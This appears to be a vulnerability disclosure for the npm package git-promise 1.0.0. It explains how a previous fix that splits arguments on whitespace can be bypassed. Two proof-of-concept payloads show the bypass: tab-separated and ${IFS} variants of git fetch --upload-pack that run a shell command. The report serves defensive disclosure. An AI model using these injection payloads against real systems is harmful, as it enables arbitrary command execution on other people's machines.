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Command Injection vulnerability in git-promise@1.0.0

Command Injection vulnerability in git-promise@1.0.0

git-promise describes itself as a simple wrapper that allows you to run any git command using a more intuitive syntax.


Background on exploitation

I'm reporting a Command Injection vulnerability in git-promise npm package.

The vector of attack in this vulnerability was found to be possible after investigating prior Remote Code Execution vulnerability as described here and an inappropriate fix.

The fix to the prior command injection vulnerability was made with this pull request in which we can see how the index.js file changes the old API of executing a process via shell.exec() which concatenates strings for one command, with a new API execFile(execBinary, execArguments, execOptions) which separates the git binary from user input passed to it in execArguments.

However, the logic applied in this pull request to separate command arguments uses the a "split by whitespace" way of doing so, as can be shown in this pull request's suggested changes here:

New exploit

Why is the previous fix flawed and where does the vulnerability come from?

Recent git-related CVEs have shown a vector of command injection via the git fetch --upload-pack=touch /tmp/abc. Let's see if this works:

const git = require("git-promise");
git("fetch origin --upload-pack=touch /tmp/abcd", {cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))

If you run this program then the file /tmp/abcd isn't created because the whitespace separation logic puts "/tmp/abcd" from the above user input into its own command line argument, thus failing.

However, see the following 2 proofs-of-concept exploits that both bypass the space character split logic:

// POC1
const git = require("git-promise");
// Use tab instead of spaces to separate between the touch command and its argument
git("fetch origin --upload-pack=touch	/tmp/abcd", {cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))
// POC2
const git = require("git-promise");
// Use the shell's predefined separator using ${IFS} to escape the whitespace splitting logic
git("fetch origin --upload-pack=touch${IFS}/tmp/abcd-new", {cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))


Liran Tal

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